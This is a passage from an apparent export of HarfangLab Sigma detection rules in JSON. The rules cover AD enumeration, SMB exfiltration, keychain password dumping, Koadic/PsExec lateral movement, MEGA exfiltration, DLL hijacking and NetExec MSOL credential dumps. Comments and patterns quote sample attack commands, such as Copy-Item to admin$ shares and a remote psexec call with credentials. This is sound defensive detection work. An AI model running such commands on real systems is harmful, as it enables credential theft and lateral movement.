+  "content": "title: Domain Account Discovered via PowerShell\nid: 4541ab75-2acf-47ff-bcc2-c8ac479ee8c7\ndescription: |\n    Detects the use of PowerShell to enumerate Active Directory user accounts.\n    This may be used for reconnaissance to identify privileged or service accounts.\n    It is recommended to analyze the parent process as well as other commands executed in the same PowerShell session to look for malicious content or actions.\nreferences:\n    - https://ericazelic.medium.com/ldap-queries-for-offensive-and-defensive-operations-4b035b816814\n    - https://blog.talosintelligence.com/emerging-interlock-ransomware/\n    - https://attack.mitre.org/techniques/T1087/002/\ndate: 2025/07/09\nmodified: 2025/08/06\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087.002\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains|all:\n            - '[adsisearcher]'\n            - 'objectCategory=user'\n            - '.PropertiesToLoad.Add('\n            - '.findAll()'\n\n    filter_script:\n        PowershellScriptPath|contains: '?'\n\n    condition: selection and not 1 of filter_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "4541ab75-2acf-47ff-bcc2-c8ac479ee8c7",
+  "rule_name": "Domain Account Discovered via PowerShell",
+  "rule_description": "Detects the use of PowerShell to enumerate Active Directory user accounts.\nThis may be used for reconnaissance to identify privileged or service accounts.\nIt is recommended to analyze the parent process as well as other commands executed in the same PowerShell session to look for malicious content or actions.\n",
+  "rule_creation_date": "2025-07-09",
+  "rule_modified_date": "2025-08-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1087.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "454ab28f-f8cd-420f-8c76-62220807a066",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073349Z",
+  "creation_date": "2026-03-23T11:45:34.073351Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073355Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/malmoeb/status/1571145275649191936",
+    "https://attack.mitre.org/techniques/T1048/003/"
+  ],
+  "name": "t1048_003_powershell_exfiltration_over_smb.yml",
+  "content": "title: Data Possibly Exfiltrated via PowerShell over SMB\nid: 454ab28f-f8cd-420f-8c76-62220807a066\ndescription: |\n    Detects suspicious file copies using PowerShell over SMB.\n    Attackers can use this technique as SMB traffic is often allowed on networks and PowerShell usage allows a Living-of-the-Land approach.\n    It is recommended to investigate the PowerShell script, the copied files as well as the PowerShell process ancestors to determine the legitimacy of this action.\nreferences:\n    - https://twitter.com/malmoeb/status/1571145275649191936\n    - https://attack.mitre.org/techniques/T1048/003/\ndate: 2022/09/27\nmodified: 2025/11/04\nauthor: HarfangLab\ntags:\n    - attack.exfiltration\n    - attack.t1048.003\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.NetworkActivity\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: powershell_event\ndetection:\n    selection:\n        # Copy-Item -Path \"C:\\Exfiltration\" -Destination \"\\\\10.2.124.12\\admin$\" -Recurse\n        # Copy-Item -Path \"\\\\10.2.124.12\\C$\\Windows\\temp\\a.exe\" -Destination \"$Env:TEMP\\a.exe\"\n        PowershellCommand|re:\n            - '(?i)Copy-Item -P[ath]{0,3} [[:print:]]+ -D[estination]{0,10} [[:print:]]{0,1}\\\\\\\\([0-9]{1,3}\\.){3}([0-9]{1,3})\\\\(c\\$|admin\\$)'\n            - '(?i)Copy-Item -P[ath]{0,3} [[:print:]]{0,1}\\\\\\\\([0-9]{1,3}\\.){3}([0-9]{1,3})\\\\(c\\$|admin\\$)[[:print:]]+ -D[estination]{0,10} '\n\n    condition: selection\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "454ab28f-f8cd-420f-8c76-62220807a066",
+  "rule_name": "Data Possibly Exfiltrated via PowerShell over SMB",
+  "rule_description": "Detects suspicious file copies using PowerShell over SMB.\nAttackers can use this technique as SMB traffic is often allowed on networks and PowerShell usage allows a Living-of-the-Land approach.\nIt is recommended to investigate the PowerShell script, the copied files as well as the PowerShell process ancestors to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2022-09-27",
+  "rule_modified_date": "2025-11-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "45922484-daf1-46c5-b3fb-d9357d117e41",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626287Z",
+  "creation_date": "2026-03-23T11:45:34.626289Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626293Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
+    "https://unit42.paloaltonetworks.com/north-korean-threat-actors-lure-tech-job-seekers-as-fake-recruiters/",
+    "https://www.trendmicro.com/en_se/research/25/i/an-mdr-analysis-of-the-amos-stealer-campaign.html",
+    "https://attack.mitre.org/techniques/T1555/001/"
+  ],
+  "name": "t1564_001_security_password_listed.yml",
+  "content": "title: Password Discovered from Keychain via security\nid: 45922484-daf1-46c5-b3fb-d9357d117e41\ndescription: |\n    Detects the usage of the security binary to gather password stored in keychain files.\n    Adversaries may access keychain files in order to gather sensitive information such as passwords.\n    It is recommended to check for other suspicious activities by the parent process.\nreferences:\n    - https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/\n    - https://unit42.paloaltonetworks.com/north-korean-threat-actors-lure-tech-job-seekers-as-fake-recruiters/\n    - https://www.trendmicro.com/en_se/research/25/i/an-mdr-analysis-of-the-amos-stealer-campaign.html\n    - https://attack.mitre.org/techniques/T1555/001/\ndate: 2024/06/18\nmodified: 2026/01/06\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1555.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        ProcessName: 'security'\n        CommandLine|contains: 'find-generic-password'\n        Ancestors|contains:\n            # folder\n            - '/Volumes/'\n            - '/private/tmp/'\n            - '/private/var/tmp/'\n            - '/private/var/folder/'\n            - '/private/etc/'\n            - '/Users/'\n            - '/private/var/root'\n            # binary\n            - 'osascript'\n            - 'python'\n\n    exclusion_zsh:\n        ParentImage: '/Users/*/.local/bin/zsh (qterm)'\n\n    exclusion_copilot:\n        ProcessGrandparentImage: '/Users/*/.local/share/gh/extensions/gh-copilot/gh-copilot'\n\n    exclusion_appuninstaller:\n        ProcessParentImage: '/Users/*/Library/Application Support/Setapp/LaunchAgents/Setapp.app/Contents/Resources/SetappUninstaller.app/Contents/MacOS/SetappUninstaller'\n\n    exclusion_node:\n        ProcessParentCommandLine|startswith: 'node /Users/*/.nvm/versions/node/v*/bin/appcenter codepush release-react '\n\n    exclusion_amazonq:\n        ProcessParentImage:\n            - '/private/var/folders/*/Amazon Q.app/Contents/MacOS/q'\n            - '/Applications/Amazon Q.app/Contents/MacOS/q'\n        ProcessCommandLine|contains: '/usr/bin/security find-generic-password -s codewhisperer:'\n\n    exclusion_homebrew:\n        Ancestors|contains: '/opt/homebrew/'\n\n    exclusion_interactive:\n        Ancestors|startswith:\n            - '/bin/zsh|/usr/bin/login|'\n            - '/bin/bash|/bin/zsh|/usr/bin/login|'\n            - '/bin/zsh|/bin/zsh|/usr/bin/login|'\n            - '/Users/*/.local/bin/zsh (kiro-cli-term)|/usr/bin/login|'\n            - '/Applications/Kiro CLI.app/Contents/MacOS/kiro-cli|/bin/zsh|/Users/*/.local/bin/zsh (kiro-cli-term)|/usr/bin/login|'\n\n    exclusion_claude:\n        CommandLine:\n            - 'security find-generic-password -a * -w -s Claude Code'\n            - 'security find-generic-password -a * -w -s Claude Code-credentials'\n\n    exclusion_publisher:\n        CommandLine: '/usr/bin/security find-generic-password -s Posit Publisher Safe Storage -wa credentials'\n        ProcessParentImage|endswith: '/bin/publisher'\n\n    exclusion_salesforce:\n        CommandLine: '/usr/bin/security find-generic-password -a local -s sfdx -g'\n\n    exclusion_cursor:\n        CommandLine:\n            - '/usr/bin/security find-generic-password -a cursor-user -s cursor-refresh-token -g'\n            - '/usr/bin/security find-generic-password -a cursor-user -s cursor-access-token -g'\n            - '/usr/bin/security find-generic-password -a cursor-user -s cursor-api-key -g'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "45922484-daf1-46c5-b3fb-d9357d117e41",
+  "rule_name": "Password Discovered from Keychain via security",
+  "rule_description": "Detects the usage of the security binary to gather password stored in keychain files.\nAdversaries may access keychain files in order to gather sensitive information such as passwords.\nIt is recommended to check for other suspicious activities by the parent process.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2026-01-06",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "45caf93e-1781-482c-860b-80988fbec6b4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073265Z",
+  "creation_date": "2026-03-23T11:45:34.073267Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073271Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/offsecginger/koadic",
+    "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin",
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/software/S0250/",
+    "https://attack.mitre.org/software/S0029/"
+  ],
+  "name": "t1569_002_koadic_psexec.yml",
+  "content": "title: PSExec Executed via Koadic\nid: 45caf93e-1781-482c-860b-80988fbec6b4\ndescription: |\n    Detects the execution of PSExec from the Sysinternals website as used per the HackTool Koadic.\n    Koadic uses PSExec to execute arbitrary commands on remote systems and move laterally.\n    It is recommended to check for suspicious activities by the process' parents and on the target system.\nreferences:\n    - https://github.com/offsecginger/koadic\n    - https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/software/S0250/\n    - https://attack.mitre.org/software/S0029/\ndate: 2021/02/22\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1569.002\n    - attack.s0250\n    - attack.s0029\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.Koadic\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # C:\\Windows\\system32\\cmd.exe /q /c \\\\live.sysinternals.com@SSL\\tools\\\\psexec.exe \\\\192.168.56.105 -u \"tata\\user\" -p user  -accepteula hostname\n    selection_bin:\n        - Image|endswith: '\\cmd.exe'\n        - OriginalFileName: 'Cmd.EXE'\n\n    selection_cmd1:\n        CommandLine|contains|all:\n            - ' /q '\n            - ' /c '\n            - ' -accepteula '\n\n    selection_cmd2:\n        CommandLine|contains:\n            - ' ??live.sysinternals.com@SSL\\tools??psexec.exe '\n            - ' ??live.sysinternals.com\\tools??psexec.exe '\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "45caf93e-1781-482c-860b-80988fbec6b4",
+  "rule_name": "PSExec Executed via Koadic",
+  "rule_description": "Detects the execution of PSExec from the Sysinternals website as used per the HackTool Koadic.\nKoadic uses PSExec to execute arbitrary commands on remote systems and move laterally.\nIt is recommended to check for suspicious activities by the process' parents and on the target system.\n",
+  "rule_creation_date": "2021-02-22",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "45f5a596-6369-4f07-8000-7282b8fedc62",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610578Z",
+  "creation_date": "2026-03-23T11:45:34.610582Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610589Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/rclone-mega-extortion/",
+    "https://www.elastic.co/security-labs/unmasking-financial-services-intrusion-ref0657",
+    "https://attack.mitre.org/techniques/T1567/002/"
+  ],
+  "name": "t1567_002_suspicious_megasync.yml",
+  "content": "title: Suspicious MEGA tools Execution\nid: 45f5a596-6369-4f07-8000-7282b8fedc62\ndescription: |\n    Detects the execution of renamed MEGA tools or located in an abnormal path.\n    Attackers may use a MEGA tool in order to exfiltrate data from a compromised network.\n    It is recommended to check that the use of this tool is legitimate.\nreferences:\n    - https://redcanary.com/blog/rclone-mega-extortion/\n    - https://www.elastic.co/security-labs/unmasking-financial-services-intrusion-ref0657\n    - https://attack.mitre.org/techniques/T1567/002/\ndate: 2021/09/30\nmodified: 2025/02/19\nauthor: HarfangLab\ntags:\n    - attack.exfiltration\n    - attack.t1567.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.Mega\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        OriginalFileName:\n            - 'MEGAsync.exe'\n            - 'MEGAclient.exe'\n            - 'MEGAcmd.exe'\n            - 'MEGAcmdShell.exe'\n            - 'MEGAcmdServer.exe'\n            - 'MEGAcmdUpdater.exe'\n\n    filter_legit_folder:\n        Image:\n            - '?:\\Users\\\\*\\AppData\\Local\\MEGAsync\\MEGAsync.exe'\n            - '?:\\ProgramData\\MEGAsync\\MEGAsync.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\MEGAcmd\\\\*'\n            - '?:\\ProgramData\\MEGAcmd\\\\*'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "45f5a596-6369-4f07-8000-7282b8fedc62",
+  "rule_name": "Suspicious MEGA tools Execution",
+  "rule_description": "Detects the execution of renamed MEGA tools or located in an abnormal path.\nAttackers may use a MEGA tool in order to exfiltrate data from a compromised network.\nIt is recommended to check that the use of this tool is legitimate.\n",
+  "rule_creation_date": "2021-09-30",
+  "rule_modified_date": "2025-02-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1567.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "45fe4a7d-bc95-4fd4-83e4-803986c6010f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.099219Z",
+  "creation_date": "2026-03-23T11:45:34.099221Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.099225Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_devicecredentialdeployment.yml",
+  "content": "title: DLL Hijacking via devicecredentialdeployment.exe\nid: 45fe4a7d-bc95-4fd4-83e4-803986c6010f\ndescription: |\n    Detects potential Windows DLL Hijacking via devicecredentialdeployment.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'devicecredentialdeployment.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\DeviceCredential.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "45fe4a7d-bc95-4fd4-83e4-803986c6010f",
+  "rule_name": "DLL Hijacking via devicecredentialdeployment.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via devicecredentialdeployment.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "46210e9e-d4b8-466d-aa48-5786cbdea116",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091067Z",
+  "creation_date": "2026-03-23T11:45:34.091069Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091073Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Pennyw0rth/NetExec/blob/1af282888cd514cf9b4a08ff7caeb26c64625d90/nxc/data/msol_dump/msol_dump.ps1",
+    "https://attack.mitre.org/techniques/T1555/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1555_netexec_msol_password.yml",
+  "content": "title: MSOL Password Dumped via NetExec\nid: 46210e9e-d4b8-466d-aa48-5786cbdea116\ndescription: |\n    Detects a dump of the MSOL account's password performed using NetExec tools.\n    The MSOL account is a highly privileged account used to synchronize on-premise Active Directory environments with Microsoft Entra Connect.\n    NetExec is a tool intended to ease lateral movement, internal recon and credential gathering actions.\n    It is recommended to investigate actions made by the child process and identify the source of the remote connection using authentication logs.\nreferences:\n    - https://github.com/Pennyw0rth/NetExec/blob/1af282888cd514cf9b4a08ff7caeb26c64625d90/nxc/data/msol_dump/msol_dump.ps1\n    - https://attack.mitre.org/techniques/T1555/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2024/07/23\nmodified: 2025/02/18\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1555\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.HackTool.NetExec\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains|all:\n            - \"SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'\"\n            - 'Write-Host \"[!] Error using xp_cmdshell to launch our decryption powershell\"'\n            - 'Write-Host \"[*] Using xp_cmdshell to run some Powershell as the service user\"'\n            - 'Write-Host \"[!] Error querying mms_management_agent\"'\n            - 'Write-Host \"[*] Querying ADSync localdb (mms_management_agent)\"'\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "46210e9e-d4b8-466d-aa48-5786cbdea116",
+  "rule_name": "MSOL Password Dumped via NetExec",
+  "rule_description": "Detects a dump of the MSOL account's password performed using NetExec tools.\nThe MSOL account is a highly privileged account used to synchronize on-premise Active Directory environments with Microsoft Entra Connect.\nNetExec is a tool intended to ease lateral movement, internal recon and credential gathering actions.\nIt is recommended to investigate actions made by the child process and identify the source of the remote connection using authentication logs.\n",
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2025-02-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1555"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "46cc50ba-8674-4b25-b88f-d55e3a874f21",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.294148Z",
+  "creation_date": "2026-03-23T11:45:35.294156Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294168Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1083/",
+    "https://attack.mitre.org/techniques/T1548/"
+  ],
+  "name": "t1083_find_setuid_setgid_linux.yml",
+  "content": "title: SetUID and SetGID Files Discovered via find\nid: 46cc50ba-8674-4b25-b88f-d55e3a874f21\ndescription: |\n    Detects the execution of 'find' with special arguments to discover files with the SetUID or SetGID access flag set.\n    Those access flags allow a user to run a binary using the executable's owner or group permissions instead of its own.\n    Attackers can use misconfigured SetUID or SetGID flags to execute a file with a higher privileged user and achieve privilege escalation.\n    It is recommended to investigate the command-line and the ancestors of the find program, as well as suspicious executions following this discovery to determine if this action was legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1083/\n    - https://attack.mitre.org/techniques/T1548/\ndate: 2023/01/03\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1083\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1548\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.Find\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: 